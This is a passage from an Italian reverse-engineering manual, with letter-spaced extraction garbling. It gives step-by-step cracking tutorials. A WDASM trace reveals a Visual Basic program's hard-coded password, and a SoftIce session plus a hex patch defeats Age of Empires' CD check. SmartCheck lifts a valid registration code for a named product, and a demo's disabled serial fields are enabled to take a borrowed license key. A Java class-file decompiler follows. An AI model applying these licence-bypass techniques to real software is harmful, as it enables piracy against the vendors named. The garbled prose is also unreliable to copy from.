Quando esegui t e i l t r ace di un codi ce per cer car e di capi r e che cosa f a,
l asci at e aper t o i l not epad e man mano che andat e avant i copi at eci dent r o i l
codi ce, i r egi st r i e l o st at o del l o st ack.
Vi ai ut er a t r acci ar e i l t ut t o.
Ri cor dat evi che WDASM possi ede vi ci no ad ogni f i nest r a un pul sant e COPY che vi
per met t e di copi ar e i l t est o speci f i co di quel l a wi ndow.
Dat e un occhi at a a quant o segue anche se di f at t o si t r at t a sol o del l a pr i ma
par t e i n quant o sar ebbe i nut i l e r i por t ar l o t ut t o.

:0042DC5E 680B060000 push 0000060B
:0042DC63 57 push edi
:0042DC64 E8576D0600 call 004949C0
:0042DC69 83C664 add esi, 00000064
:0042DC6C 56 push esi

* Possible Reference to Dialog: DialogID_01AD, CONTROL_ID:03E9, ""
|
:0042DC6D 68E9030000 push 000003E9
:0042DC72 57 push edi
:0042DC73 E8486D0600 call 004949C0 --------+
:0042DC78 5F pop edi |
:0042DC79 5E pop esi |
:0042DC7A C20400 ret 0004 |
+---------------------------------------------------+
|
Pagina 407 di 991
V
:004949C0 55 push ebp
:004949C1 8BEC mov ebp, esp
:004949C3 56 push esi
:004949C4 57 push edi
:004949C5 8B7D08 mov edi, dword ptr [ebp+08]
:004949C8 FF750C push [ebp+0C]
:004949CB 8BCF mov ecx, edi
:004949CD E82FFEFFFF call 00494801
:004949D2 833F00 cmp dword ptr [edi], 00000000
:004949D5 8BF0 mov esi, eax
:004949D7 7428 je 00494A01
:004949D9 56 push esi

* Reference To: USER32.GetWindowTextLengthA, Ord:0140h
|
:004949DA FF15F4564B00 Call dword ptr [004B56F4]
:004949E0 8D4801 lea ecx, dword ptr [eax+01]
:004949E3 51 push ecx
:004949E4 8B4D10 mov ecx, dword ptr [ebp+10]
:004949E7 50 push eax
:004949E8 E8469DFFFF call 0048E733
:004949ED 50 push eax
:004949EE 56 push esi

* Reference To: USER32.GetWindowTextA, Ord:013Fh
|
|
| BREAKPOINT ON GETWINDOWTEXTA !!!
V
BP*:004949EF call USER32.GetWindowTextA
:004949F5 mov ecx, dword ptr [ebp+10]
Address: 01ABD7FC is Not in a Loaded Module.
char[010]:"9999999999"
DWORD:39393939, WORD:3939, BYTE:39
:004949F8 push FFFFFFFF ------------------------------------------------+
:004949FA call ECPRO.0048E70B |
| |
+---------------+ |
V |
-------------ALTRA FUNZIONE
:0048E70B push esi |
:0048E70C mov esi, ecx |
:0048E70E call ECPRO.0048E275 |
BP*:0048E713 mov eax, dword ptr [esp+08] <------------------------------- +
[esp+00000000] - 00000430 0... |
[esp+00000004] - 004949ff .II. |
[esp+00000008] - ffffffff .... <--+
^
:0048E717 cmp eax, FFFFFFFF <-------------YES------------+
:0048E71A jne 0048E724
:0048E71C push dword ptr [esi]
[esi+00000000] - 01abd7fc ....
|
Address: 01ABD7FC
char[010]:"9999999999"
DWORD:39393939, WORD:3939, BYTE:39
:0048E71E call KERNEL32.lstrlen
API int Arg00 = lstrlen(Arg01)
API Address=0048E71E, API Return Address=0048E724
+-- Arg01 = (LPTSTR) 01abd7fc -> "9999999999"
CALL |
Pagina 408 di 991
+-> RESULT for API lstrlen
Arg00 = (int) 0000000a (10 == LEN di 9999999999)
:0048E724 mov ecx, dword ptr [esi]
[ecx+00000000] - 39393939 9999
[ecx+00000004] - 39393939 9999
[ecx+00000008] - 00003939 99..
:0048E726 mov dword ptr [ecx-08], eax
eax=0000000a
[ecx-00000008] - 0000000a ....
[ecx-00000004] - 0000000a ....
[ecx+00000000] - 39393939 9999
[ecx+00000004] - 39393939 9999
[ecx+00000008] - 00003939 99..
:0048E729 mov ecx, dword ptr [esi]
:0048E72B 5E pop esi
:0048E72C 80240800 and byte ptr [eax+ecx], 00
:0048E730 C20400 ret 0004
------------RITORNO A CHIAMANTE
|
| RETURN
V
BP*:004949FF jmp ECPRO.00494A0C ---------------------+
:00494A01 mov eax, dword ptr [ebp+10] |
:00494A04 push dword ptr [eax] |
:00494A06 push esi | JUMP
:00494A07 call ECPRO.00492EEF |
:00494A0C pop edi <------------------------------+
:00494A0D pop esi
:00494A0E pop ebp
:00494A0F ret 000C
STATUS PRIMA DEL RETURN DEI REGISTRI
--------------------------------------
EIP=00494A0F eax=0000000a ebx=00000001
ecx=01abd7fc edx=80008d50 esi=0082f964
edi=0082f3f0 EBP=0082F41C ESP=0082F3C0

STATUS STACK STATUS ECX

[esp+00000000] - 0042dc78 x.B. [ecx+00000000]
- 39393939 9999
[esp+00000004] - 0082f3f0 .... [ecx+00000000]
- 39393939 9999
[esp+00000008] - 000003e9 .... [ecx+00000008]
- 00003939 99..
[esp+0000000C] - 0082f964 d...
[esp+00000010] - 0070050c ..p.
[esp+00000014] - 0082f900 ....


ESEMPIO CON MACCHINA VIRTUALE VISUAL BASIC


I n mol t i punt i di quest o vol ume si t r at t at o l ar goment o r el at i vo ai pr ogr ammi
che ut i l i zzano l a l i br er i a di r un t i me di Vi sual Basi c 6. 0.
I n quest o caso i br eakpoi nt dovr ebber o esser e set t at i sul l e f unzi oni di quest a.
Come st at o det t o al l a f i ne del t ut t o anche quest a l i br er i a si agganci a al l e
f unzi oni di user 32. dl l ecc. per cui nel l a peggi r e del l e i pot esi si pot r ebber o
i mpor t ar e quest e dl l e set t ar e i br eakpoi nt sul l e sue f unzi oni , ma si cur ament e
quest o compl i cher ebbe l a vi t a.
Spesso si cer cano subi t o l e i pot esi pi compl i cat e scar t ando quel l e pi ovvi e e
quest o mol t e vol t e un er r or e.
Pagina 409 di 991
VB 6. 0 possi ede f unzi oni per i l t r at t ament o, compr esa l a compar azi one, di
st r i nghe.
Quest o per di r e che i ni zi al ment e si pot r ebbe t ent ar e di pi azzar e br eakpoi nt su
quest e.
I l seguent e esempi o most r a un caso che possi bi l e r i sol ver e cer cando quest e
f unzi oni di compar azi one.
Car i cat o i l pr ogr amma con WDASM si cer cano l e f unzi oni di compar azi one st r i nghe
i n pr ossi mi t a qual che f unzi one che ser ve al l i nput del val or e.
Cer chi amo

MSVBVM60.rtcInputBox

Esi st e i n due punt i ma vi ci no al pr i mo esi st e anche una chi amat a ad una f unzi one
di compar azi one st r i nghe.


* Reference To: MSVBVM60.rtcInputBox, Ord:0254h
|
:00446FC1 FF15D0104000 Call dword ptr [004010D0]
:00446FC7 8BD0 mov edx, eax
:00446FC9 8D4DE8 lea ecx, dword ptr [ebp-18]

* Reference To: MSVBVM60.__vbaStrMove, Ord:0000h
|
:00446FCC FF15B8124000 Call dword ptr [004012B8]

...................

* Reference To: MSVBVM60.__vbaStrCmp, Ord:0000h
|
:00447008 8B3544114000 mov esi, dword ptr [00401144]
:0044700E 83C420 add esp, 00000020
:00447011 51 push ecx
:00447012 6840284100 push 00412840
:00447017 FFD6 call esi ; QUESTA E LA CHIAMATA a vbaStrCmp
:00447019 85C0 test eax, eax
:0044701B 0F8462040000 je 00447483

Le due st r i nghe da compar ar e sono pi azzat e nel l o st ack pr i ma del l a chi amat a.
Andando ad anal i zzar e ESP+20 ( add esp, 0000020) t r ovi amo l e st r i nga che abbi amo
i nser i t o come passwor d.
00412840 l i ndi r i zzo del l a seconda st r i nga da compar ar e.
I n WDASM esi st ono UA1 e UA2 che per met t ono di speci f i car e degl i i ndi r i zzi
ut ent e.
Speci f i cando quest o i ndi r i zzo e guar dando nel l apposi t a f i nest r l l a i l val or e
punt at o vedi amo :

Address: 00412840 is in Module: xxxxxxxx.EXE
char[000]:"86911260"

Senza andar e a cr ear e pat ch r i avvi amo i l pr ogr amma e pr ovi amo a speci f i car e come
passwor d i l

86911260

Mi r acl e ! Er a pr opr i o l ei ( o l ui . . . i l codi ce) .
Quest o un caso i n cui se f ossi mo andat i a cer car e al t r o avr emmo sol o per so
t empo.




Pagina 410 di 991




ESEMPIO CON I GIOCHI BASATI SULLA PRESENZA CD

I TOOLS necessar i sono Sof t I ce 3. 24 e HI EW5. 92.
I l gi oco i n quest i one possi ede una pr ot ezi one cd check ovver o quel t i po che va a
veder e se i l CD i nser i t o cor r et t ament e ogni vol t a che vi ene l anci at o.
Pr i ma di i nzi ar e ad usar e Sof t I ce necessar i o f ar e qual che modi f i ca a
WI NI CE. DAT.
Cancel l i amo i REM davant i al l e EXP r el at i ve a USER32, GDI 32, KERNEL32.
A quest o punt o Sof t I ce i mpor t er l e f unzi oni di quest e DLL.
Lanci amo or a Sof t I ce apr endo Empi r es. exe ( avr et e capi t o che mi r i f er i sco ad Age
of Empi r es di Mi cr osof t ) .
Usi amo per l egger l o l a seuqenza di opzi one di l oader 32 Modul es- >Load.
Set t i amo un br eakpoi nt non appena l a f i nest r a di Sof t I ce compar e sul l a f unzi one
Get Dr i veTypeA ( r i t or na eax=5 se c i l CDROM, eax=3 se HDD)
I l br eakpoi nt vi ene set t at o con :

bpx getdrivetypea

Ri pet o per l ennesi ma vol t a che l ul t i ma l et t er a A del l a f unzi one i ndi ca che ci
r i f er i amo al l a f nzi one a 32 bi t s.
Get Dr i veType si r i f er i r ebbe a quel l a a 16 bi t s.
Pr emi amo CONTROL- D per r i at t i var e i l gi oco ed avanzar e nel l a sua esecuzi one.
Se dovesse compar i r e nuovament e Sof t I ce i gnor at el o f i no al moment o i n cui si
ar r i va al menu.
Ar r i vat i a quest o sel ezi onat e SI NGLE PLAYER e se t ut t o st at o esegui t o i n modo
cor r et t o Sof t I ce most r er nuovament e l a sua f i nest r a.
Quando ver r at i vat o i l Br eakpoi nt pr emet e F11 i n modo da esegui r l a e r i t or nar e
al punt o dove st at a chi amat a.
A quest o punt o si amo dove Get Dr i veTypeA st at o l anci at o.
Guar dat evi un po i nt or no ( CONTROL- ( , CONTROL- ( ) si no a vedr e qual che cosa di
si mi l e.

:004D65F6 Call [Kernel32!GetDriveTypeA] -> Chiama la funzione
:004D65FC cmp eax, 00000005 -> If CDROM -
:004D65FF je 004D6605 -> jump a ...
:004D6601 xor eax, eax -> if not : eax=0 ..
:004D6603 jmp 004D6658 -> ... e ritorna.
:004D6605 lea eax, dword ptr [esp+0000011C] -> Volume-check ...
:004D660C push 00000100
:004D6611 lea ecx, dword ptr [esp+1C]
:004D6615 push eax
:004D6616 lea edx, dword ptr [esp+1C]
:004D661A push ecx
:004D661B lea eax, dword ptr [esp+1C]
:004D661F push edx
:004D6620 lea ecx, dword ptr [esp+2C]
:004D6624 push eax
:004D6625 push 00000100
:004D662A push ecx
:004D662B push edi
:004D662C Call [Kernel32!GetVolumeInformationA] -> Volume-check
:004D6632 test eax, eax -> un CD-ROM nel drive ?
:004D6634 mov eax, 00000000 -> eax=0
:004D6639 je 004D6658 -> no ! return con eax=0 !
:004D663B mov eax, dword ptr [esi+0C]
:004D663E lea ecx, dword ptr [esp+1C] -> ecx = CD-ROM label
:004D6642 add eax, 000002FD -> eax = Label (AOE)
:004D6647 push eax
Pagina 411 di 991
:004D6648 push ecx
:004D6649 call 00533C50 -> interessante
:004D664E add esp, 00000008
:004D664F cmp eax, 00000001 -> se eax=1 ... setta register flags
:004D6654 sbb eax, eax -> eax=eax-(eax+c)
:004D6656 neg eax -> 'invert' eax
:004D6658 pop ebp
:004D6659 pop edi
:004D665A pop esi
:004D665B pop ebx
:004D665C add esp, 0000020C
:004D6662 ret 0004 -> ... return

Di amo un occhi at a al l a cal l a mar cat a come i nt er essant e ( sol o l a par t e f i nal e) .

:00533C50 55 push ebp
:00533C51 8BEC mov ebp, esp
:00533C53 57 push edi
:00533C54 56 push esi
:00533C55 53 push ebx
:00533C56 8B750C mov esi, dword ptr [ebp+0C]
:00533C59 8B7D08 mov edi, dword ptr [ebp+08]
:00533C5C 8D05D08E5600 lea eax, dword ptr [00568ED0]
:00533C62 83780800 cmp dword ptr [eax+08], 00000000
:00533C66 753B jne 00533CA3
:00533C68 B0FF mov al, FF
:00533C6A 8BC0 mov eax, eax
...
:00533CC6 E845070000 call 00534410
:00533CCB 83C404 add esp, 00000004
:00533CCE 38C3 cmp bl, al
:00533CD0 74DA je 00533CAC
:00533CD2 1BC0 sbb eax, eax
:00533CD4 83D8FF sbb eax, FFFFFFFF
:00533CD7 5B pop ebx
:00533CD8 5E pop esi
:00533CD9 5F pop edi
:00533CDA C9 leave
:00533CDB C3 ret

La f unzi one compl i cat a ma a noi non i nt er essa saper e come f unzi ona ma sol o
capi r e che cosa f a modi f i cando qual che var i abi l e e f l ag.
Seguendo quest a pr ocedur a s ar r i va a capi r e che l a f unzi one r i t or na 1 o FFFFFFFF
se st at o i nser i t o un CD non val i do.
A quest o punt o possi amo af f er mar e che quest a f unzi one deve r i t or nar e 0 se i l CD
cor r et t o st at o i nser i t o.
Pr i ma di r i t or nar e dal l a f unzi one i nser i amo i n EAX 0 e f acci amo l a pr ova.
Di gi t i amo :

r eax=0

e subi t o CONTROL D per pr osegui r e.
La cosa f unzi ona.
Ma pr i ma di cant ar e vi t t or i a di amo un occhi at a al codi ce i mmedi at ament e dopo al
r i t or no del l a f unzi one.

:004D664E 83C408 add esp, 00000008
:004D6651 83F801 cmp eax, 00000001 -> if eax=1 . set Z ;or C if eax=0
:004D6654 1BC0 sbb eax, eax -> eax=1-1 => eax=0
:004D6656 F7D8 neg eax -> 'invert' eax => eax=0
:004D6658 5D pop ebp
:004D6659 5F pop edi
:004D665A 5E pop esi
Pagina 412 di 991
:004D665B 5B pop ebx
:004D665C 81C40C020000 add esp, 0000020C
:004D6662 C20400 ret 0004 -> ... and return

La cosa st r ana che nor mal ment e l e f unzi oni i ndi cano che qual che cosa andat a
a mal e r est i t uendo 0 ed i nvece 1 se t ut t o OK.
Pr ovi amo a veder e cosa capi t a se l a f unzi one r i t or na con uno 0.

:004D6651 cmp eax, 00000001 -> if eax=1 ... (set C=1)
:004D6654 sbb eax, eax -> eax=eax-(eax+c) => eax=0-1=FFFFFFFF
:004D6656 neg eax -> 'invert' eax => eax=1

A quest o punt o ci t r ovi amo di nanzi a due vi e per cr ackar e i l pr ogr amma.
Possi amo set t ar e eax=1 i n quest a f unzi one oppur e un eax=0 nel l a f unzi one
chi amat a.
Pot r ebbe anche capi t ar e che i l gi oco dur ant e l a sua esecuzi one cer chi nuovament e
di t est ar e l a pr ot ezi one non passando da quest a f unzi one.
Consi der ando quest o al l or a l a cosa conveni ent e quel l a di andar e ad i nser i r e
mov eax, 0 nel l a f unzi one chi amat a.
Per f ar e quest o t r ami t e un HEX Vi ew andi amo a r i cer car e 8D05D08E560083780800.
Posi zi onat evi sul l i st r uzi one che deve esser e sost i t ui t a

mov esi,[ebp][0000C]

I l codi ce del l i st r uzi one da i nser i r e :

B800000000

al post o di quel l a appena vi st a.
I n quest o caso non st at o necessar i o andar e a r i cer car e f unzi oni st r ane per l a
ser i al i zzazi one.
Mol t i gi ochi ut i l i zzano quest o t i po di pr ot ezi one.


USARE SMARTCHECK


Abbi amo vi st o par l ando dei var i
pr ogr ammi di un al t r o pr odot t o NuMega.
I n al cuni casi , quando i l pr ogr amma
i n vi sual Basi c, pu esser e ut i l e.
Vedi amo un esempi o usando Smar t Check.
Ri f er i amoci al pr ogr amma Vi sual Day
Pl anner 6. 1
Esegui amo Smar t Check e set t i amo i
par amet r i come si pu veder e
nel l i mmagi ne successi va.
I n pr at i ca sel ezi onando
Pr ogr am/ Set t i ngs dovr et e set t ar e t ut t i
i f l ag meno Repor t MouseMove.
Dopo aver f at t o quest o set t aggi o
t or nat e al l a mascher a di pr i ma e
sel ezi onat e l e opzi one avanzat e e
mar cat e l e pr i me 4 voci ment r e l asci at e
l i ber e t ut t e l e al t r e.
Accet t at e l a conf i gur azi one pr eendo OK.
Se vi dovesse compar i r e i l messaggi o l egat o al f al l i ment o del l e API pr emet e
ACKNOWLEDGE.
Or a f at e par t i r e con Smar t Check i l pr ogr amma e segui t e l e i st r ui oni per
ef f et t ur e l a r egi st r azi one.
I nser i t e l e voci " The Keyboar d Caper " come NAME, " The Cr acker " come COMAPNY
e " 12345" come CODE.
Pagina 413 di 991
Pr emendo OK vi ver r f uor i l a f i nest r a che vi comuni ca del f al l i ment o dei dat i
i nser i t i .
Andat e or a nel l a f i nest r a di Smar t Check chi amat a Pr ogr amResul t s

Vedr et e :

+ mnuCode_Click

Pr emet e sul + per espander e i l br acci o.
Tr acci at e i n basso f i no a veder e

+ RegcodeForm.Show

ed espandet el o anche quest o pr emendo sul +.
Scendet e anvor a f i no a :

+ btnOK_Click

o come al sol i t o espandet el o.
Andat e i n basso f i no al secondo LCase$, sul l a dest r a del l e f i nest r a dovr est e
veder e :

String string = 0058A3D0 "12345"

Quest a l a l ocazi one ( 0058A3D0) dove r egi st r at o i l codi ce, sbagl i at o i n
quest o caso.
Andat e i n basso sul LCase$ e vedr et e al t r i LCase$ a segui t o i qual i most r ano
al t r i codi ci di r egi st r azi one.
Pr endet e quel l o che vol et e, ad esempi o 3882D927- 9Y78- 29699.
Pr ovat e ad i nser i r l o e vedr et e che l o pr ende.


QUANDO ABILITANDO IL CAMPO DEL SERIAL NUMBER SI RISOLVE


Esi st ono ver si oni i n cui l a mancanza di numer o ser i al e i nser i t o nel l apposi t o
spazi o i ndi ca al set up che si t r at t a di una ver si one demo.
I n al cuni casi sar ebbe
possi bi l e r i sol ver e l a cosa
pot endo i nser i r e un numer o di
ser i e cor r et t o dent r o
al l apposi t o spazi o.
Pr endi amo l esempi o di una
ver si one demo di Vi sual J ++.
La mascher a che compar e
al l i ni zi o si pr esent a con i
campi r el at i vi al ser i al
number di sabi l i t at i .
Medi ant e l ut i l i zzo di
cust omi zer possi bi l e
abi l i t ar e t al i campi .
CUSTOMI ZER per met t e di
esegui r e mol t e al t r e f unzi oni
come ad esempi o modi f i car e i l
posi zi onament o degl i ogget t i ,
i nvi ar e messaggi speci f i ci a
ci ascuno di quest i e t ant e
al t r e ancor a.
Quando vi ene sel ezi onat a un
f unzi one i n CUSTOMI ZER compar e un f r ecci a come cur sor e che per met t e di
sel ezi onar e a qual e campo si r i f er i sce l a f unzi onal i t st essa.
Pagina 414 di 991
Nel caso del VJ ++ ho pr eso i l numer o di l i cenza di un al t r o pacchet t o Mi cr osof t
i l cui codi ce er a 040- 0923025 e l ho i nser i t o dopo aver abi l i t at o al l i nput t al i
campi .
Cust omi zer anche ut i l e i n quei casi i n cui al cune f unzi oni sono st at e
di sabi l i t at e r endendo gr ay l opzi one di menu.
I n l at r e par ol e i n una ver si one di most r at i va pot r ebber o non aver e i nser i t o del
dut t o i l codi ce r el at i vo al l a f unzi onal i t mancant e.
I n al t r i casi i nvece non st at a abi l i t at a l a voce di menu.
I n quest o caso si pot r ebbe agi r e andando ad i nser i r e una pat ch di codi ce.
CUSTOMI ZER f aci l i t a l e cose per ch per met t e di f ar e mol t e cose, compr esa quel l a
di i nvi ar e messaggi , senza dover r i cor r er e al l a pr ogr ammazi one.


Pagina 415 di 991

3.1.1 JAVA E SCRITTURA MODULI PER LA RETE


Come di cevo pr i ma i pr ogr ammi J AVA non possi edono un ver o e pr opr i o compi l at or e
che t r aduce i l pr ogr amma i n codi ce macchi na.
Quest o f avor i sce l a t r aspor t abi l i t del sof t war e anche se compl i ca l a sua
pr ot ezi one.
I f i l es . CLASS mant engono al l or o i nt er no t ut t e l e i nf or mazi oni dal l e qual i
possi bi l e r i sal i r e ai sor gent i .
I l l i nguaggi o J ava e por t abi l e i n quant o i l suo compi l at or e cr ea un f i l e che
cont i ene un pseudocodi ce che ver r a i nt er pr et at o dal l e var i e macchi ne vi r t ual i
pr esent i nei var i ambi ent i .
Qust o pseudocodi ce pr ende i l nome di byt ecode ed e cont enut o nei var i f i l e
. cl ass che compongono i l pr ogr amma.
I l codi ce sor gent e puo esser e r appr esent at o da un uni co f i l e . j ava o da di ver si
f i l e cont enent i ci ascuno l e var i e cl assi .
Nel caso di un uni co f i l e . j ava i l compi l at or e cr eer a i n var i f i l e . cl ass i l
cui nome der i ver a dal nome del l a cl asse.
I l f i l e cont enent e l a cl asse pr i nci pal e dovr a posseder e i l nome del f i l e ugual e
a quel l o del l a cl asse.
Nel caso i n cui i n un uni co f i l e j ava si ano pr esent i pi u cl assi al meno una, e
non pi u di una, dovr a posseder e l at t r i but o publ i c.
I l compi l at or e i n pr at i ca anal i zzer a i l sor gent e e cr eer a un f i l e l a cui
st r ut t ur a i nt er na dovr a esser e compat i bi l e con quel l a def i ni t a dal l a SUN per i l
codi ce byt ecode.
Per di scut er e su t al e f or mat o pr esent er emo i l codi ce di un pr ogr amma . j ava che
l egger a i l cont enut o di un f i l e . cl ass e vi sual i zzer a l e cl assi e l e var i abi l i
i n quest o cont enut e.
I l pr ogr amma che ho scr i t t o come esempi o e una base per l a scr i t t ur a di un
decompi l at or e compl et o che per l a sua l unghezza non puo esser e t r at t at o i n
quest e pagi ne.
I dat i che f or mano t al e st r ut t ur a sono r appr esent at i , nel l e speci f i che SUN, da
u1, u2, u4 che sono i n pr at i ca uni sgned da 1 byt e, unsi gned da 2 byt es e
unsi gned da 4 byt es l eggi bi l i da f i l e medi ant e i met odi , del l a cl asse
RandomAccessFi l e,

readUnsignedByte()
readUnsignedShort()
readInt()

Vedi amo subi t o l a st r ut t ur a.

ClassFile {
u4 magic;
u2 minor_version;
u2 major_version;
u2 constant_pool_count;
cp_info constant_pool[constant_pool_count-1];
u2 access_flags;
u2 this_class;
u2 super_class;
u2 interfaces_count;
u2 interfaces[interfaces_count];
u2 fields_count;
field_info fields[fields_count];
u2 methods_count;
method_info methods[methods_count];
u2 attributes_count;
attribute_info attributes[attributes_count];
}

Pagina 416 di 991
I l si gni f i cat o dei f ar i campi sono :

unsigned 4 bytes magic number.

Quest o campo cont i ene l a st r i nga r appr esent at a da numer i esadeci mal i

0xCA 0xFE 0xBA 0xBE

i n pr at i ca CAFEBAE.
At t enzi one che CAFEBABE non sono car at t er i ASCI I ma i var i 4 numer i da 1 byt e i n
f or mat o esadeci mal e vi st i uno a f i anco al l ' al t r o come se f osser o i car at t er i di
una st r i nga.
Una vol t a aper t o i l f i l e . cl ass con l a f unzi one RandomAccessFi l e( )

in = new RandomAccessFile(className, "r");

I due dat i successi vi cost i t ui scono l a par t e mi nor e e maggi or e del numer o di
ver si one del compi l at or e.

U2 minor_version e u2 major_version

Un dat o i mpor t ant i ssi mo e

U2 Const ant Pool Count



I l qual e r appr esent a i l numer o degl i el ement i nel l a t abel l a che andr emo a
cr ear e.
Dal f i l e . cl ass e possi bi l e cr ear e quel l a def i ni t a come const ant pool t abl e che
al t r o non e che una t abel l a con t ut t i i dat i , met odi , var i abi l i di una cl asse.
Per cr ear e quest a t abel l a ho cr eat o una cl asse che cont i ene quest i dat i .
Ogni vol t a che sar a necessar i o cr ear e un al t r o el ement o di quest a t abel l a ver r a
cr eat a una nuova i st anza di quest a cl asse, ver r anno assegnat i i val or i necessar i
( gl i al t r i sono messi a 0 o a nul l ) e poi ver r a aggi unt a come successi vo
el ement o di un vet t or e Vect or .
I n segui t o quando sar a necessar i o r eper i r e una st r i nga, ad esempi o, i n quest a
t abel l a, una vol t a r i cavat o i l numer o di posi zi onament o sar a possi bi l e est r ar ne
i l val or e medi ant e i l met odo el ement At ( ) del l a cl asse Vect or .
Ad esempi o l a cl asse dei dat i cont i ene un membr o st r dest i nat o al l a
memor i zzazi one del l e st i nghe.
Supponi amo di r i cavar e i l val or e di i ndi ce di una st r i nga con una l et t ur a da
f i l e

Int super_class = in.readUnsignedShort();
decompJavaData tmp = (decompJavaData) classTable.elementAt(super_class);

System.aout.print(tmp.str);

Pagina 417 di 991
// str e il membro String nella classe decompJavaData
// quella che contiene i dati
// usata un po a modo di struttura del C per la creazione della constant pool
table

Spesso per r i cavar e un dat o, ad esempi o i l nome di una cl asse, e necessar i o
l egger e un dat o che r appr esent a l i ndi r r i zzo del l a st r i nga i n quest a t abel l a.
Per pr i ma cosa sar a qui ndi necessar i o cr ear e un vet t or e i n cui ver r anno
i nser i t i i dat i l et t i .
La pr i ma passat a ser vi r a appunt o a quest o scopo.
I l pr ogr amma e cost i t ui t o da un gest or e i ni zi al e del l ayout che per met t er a di
cr ear e una mascher a su cui sono posi zi onat i i l campo ( Text Fi el d) da cui l egger e
i l nome del l a cl asse da anal i zzar e, da un pul sant e per i ni zi ar e t al e anal i si e
da un ar ea di t est o i n cui ver r anno vi sual i zzat e l e i nf or mazi oni cr eat e dal
met odo pr i nci pal e, quel l o che esegue l anal i si chi amat o r eadCl ass( ) .
Vedi amo subi t o t ut t o i l codi ce i n un sol col po.
Di scut er emo dopo del l e var i e f unzi oni o met odi .
Al cuni dat i i nser i t i nel l a const ant pool t abl e ( da adesso l a chi amer o CPT)
hanno si gni f i cat i par t i col ar i .
Tr a quest i val or i r i t r ovi amo :

INFINITO POSITIVO = POS_INF (1.0f / 0.0f)
INFINITO NEGATIVO = NEG_INF (-1.0f / 0.0f)
NON UN NUMERO = NaN (Not a number) (0.0f / 0.0f)


I l seguent e pr ogr amma, che ho scr i t t o usando J AVA st esso, anal i zza i f i l es
. CLASS.


DECOMPJ AVA. J AVA

i mpor t j ava. appl et . *;
i mpor t j ava. awt . *;
i mpor t j ava. awt . event . *;
i mpor t j ava. i o. *;
i mpor t j ava. net . *;
i mpor t j ava. ut i l . *;


cl ass decompJ avaDat a
{
publ i c St r i ng st r ;
publ i c i nt t ag;
publ i c shor t u21, u22;
publ i c i nt u41, u42;
publ i c f l oat f ;
publ i c doubl e d;
publ i c l ong l ;

publ i c decompJ avaDat a( i nt t ag, shor t u21, shor t u22, i nt u41, i nt u42,
St r i ng st r i nga, f l oat f , doubl e d, l ong l )
{
t hi s. t ag = t ag;
t hi s. u21 = u21;
t hi s. u22 = u22;
t hi s. u41 = u41;
t hi s. u42 = u42;
i f ( st r i nga ! = nul l ) {
t hi s. st r = new St r i ng( st r i nga) ;
} el se
t hi s. st r = nul l ;
Pagina 418 di 991
t hi s. f = f ;
t hi s. d = d;
t hi s. l = l ;
}
}

cl ass decompJ avaFr ame ext ends Fr ame i mpl ement s Wi ndowLi st ener , Act i onLi st ener
{
pr i vat e Text Ar ea t ext f i el d1;
pr i vat e But t on l eggi ;
pr i vat e Text Fi el d cl asse;
pr i vat e Vect or cl assTabl e;
pr i vat e RandomAccessFi l e i n = nul l ;
pr i vat e decompJ avaDat a t mp;

pr i vat e St r i ng t hi sCl assName;
/ / Cost ant i
f i nal byt e CONSTANT_Cl ass = 7;
f i nal byt e CONSTANT_Fi el dr ef = 9;
f i nal byt e CONSTANT_Met hodr ef = 10;
f i nal byt e CONSTANT_I nt er f aceMet hodr ef = 11;
f i nal byt e CONSTANT_St r i ng = 8;
f i nal byt e CONSTANT_I nt eger = 3;
f i nal byt e CONSTANT_Fl oat = 4;
f i nal byt e CONSTANT_Long = 5;
f i nal byt e CONSTANT_Doubl e = 6;
f i nal byt e CONSTANT_NameAndType = 12;
publ i c st at i c f i nal byt e CONSTANT_Ut f 8 = 1;
pr i vat e i nt numConst ant Pool ;

publ i c St r i ng r emoveSl ash( St r i ng st r i nga)
{
St r i ngBuf f er st r Buf = new St r i ngBuf f er ( ) ;
f or ( i nt i dx=0; i dx! =st r i nga. l engt h( ) ; i dx++)
i f ( st r i nga. char At ( i dx) == ' / ' )
st r Buf . append( ' . ' ) ;
el se
st r Buf . append( st r i nga. char At ( i dx) ) ;
r et ur n st r Buf . t oSt r i ng( ) ;
}

publ i c decompJ avaFr ame( )
{
super ( " j avaDecompi l er by F. Ber nar dot t i " ) ;
set Layout ( new Bor der Layout ( ) ) ;
Panel panel = new Panel ( ) ;
Label l ab = new Label ( " Nome cl asse : " ) ;
panel . add( l ab) ;
cl asse = new Text Fi el d( " cl asse. cl ass" , 50) ;
panel . add( cl asse) ;
l eggi = new But t on( " Leggi " ) ;
panel . add( l eggi ) ;
add( panel , " Nor t h" ) ;
t ext f i el d1 = new Text Ar ea( 18, 50) ;
add( t ext f i el d1, " Sout h" ) ;
l eggi . addAct i onLi st ener ( t hi s) ;
t ext f i el d1. set Backgr ound( new Col or ( 0, 60, 0) ) ;
t ext f i el d1. set For egr ound( new Col or ( 0, 255, 0) ) ;
addWi ndowLi st ener ( t hi s) ;
}

St r i ng ext r act Cl assName( St r i ng st r i nga)
{
Pagina 419 di 991
i nt i dx = st r i nga. l engt h( ) - 1;
whi l e( t r ue) {
i f ( st r i nga. char At ( i dx) == ' . ' )
r et ur n st r i nga. subst r i ng( i dx+1) ;
i f ( i dx == 0)
r et ur n st r i nga;
- - i dx;
}
}

St r i ng anal i zeSt r i ng( St r i ng st r i nga)
{
bool ean f l ag = t r ue;
St r i ngBuf f er st r Buf = new St r i ngBuf f er ( ) ;
St r i ngBuf f er ar r ay = new St r i ngBuf f er ( ) ;
St r i ngBuf f er t ype = new St r i ngBuf f er ( ) ;
i nt i dx=0;
whi l e( f l ag) {
i f ( i dx == st r i nga. l engt h( ) ) {
f l ag = f al se;
} el se {
swi t ch( st r i nga. char At ( i dx) ) {
case ' [ ' :
ar r ay. append( " [ ] " ) ;
br eak;
case ' B' :
t ype. append( " byt e" ) ;
br eak;
case ' C' :
t ype. append( " char " ) ;
br eak;
case ' D' :
t ype. append( " doubl e" ) ;
br eak;
case ' F' :
t ype. append( " f l oat " ) ;
br eak;
case ' I ' :
t ype. append( " i nt " ) ;
br eak;
case ' J ' :
t ype. append( " l ong" ) ;
br eak;
case ' S' :
t ype. append( " shor t " ) ;
br eak;
case ' Z' :
t ype. append( " bool ean" ) ;
br eak;
case ' L' :
t ype. append( st r i nga. subst r i ng( 1, st r i nga. l engt h( ) -
1) ) ;
f l ag = f al se;
br eak;
}
}
++i dx;
}
st r Buf . append( t ype. t oSt r i ng( ) ) ;
i f ( ar r ay. l engt h( ) > 0)
st r Buf . append( ar r ay. t oSt r i ng( ) ) ;
r et ur n ( st r Buf . t oSt r i ng( ) ) ;
}
Pagina 420 di 991

